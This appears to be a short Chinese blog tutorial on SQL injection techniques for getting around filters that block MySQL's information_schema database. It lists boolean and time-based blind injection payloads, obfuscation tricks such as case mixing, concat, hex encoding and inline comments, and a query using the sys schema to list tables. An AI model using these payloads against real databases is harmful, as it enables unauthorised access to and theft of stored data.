绕过information_schema库的一些方式

information_schema库的意义:

该数据库mysql其实是个信息数据库,保存着mysql服务器所维护的所有其他数据库信息,所以里面包含了数据库名,表名,字段名等,因此,information_schema 的重要性就在这三点上了,而如果information_schema库被过滤掉了,就只能通过其他方式来处理了。

绕过方式:

1、使用盲注猜测信息:

可以使用布尔盲注、时间盲注,对数据库信息进行猜测(因为是猜测,所以可能需要大量尝试,所以推荐使用脚本解决)

布尔盲注

' and ascii(substr(database(), 1, 1))=97 --

时间盲注:

 ' AND IF(SUBSTR(database(),1,1)='a', SLEEP(0.5), 0) -- 

2、尝试混淆源信息:

  • 修改大小写(我不看好)

    iNformaTIOn_schEma
    
  • 使用字符串进行拼接:

     concat('in','formation_schema')
    
  • 将其转换为16进制:

    696e666f726d6174696f6e5f736368656d61
    
  • 使用内连注释:

    SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();
    

3、使用其他库:

  • 使用sys数据库(5.7以上)

    SELECT table_name FROM sys.schema_auto_increment_columns;      --获取所有表名	
    

你可能感兴趣的:(penetration,安全)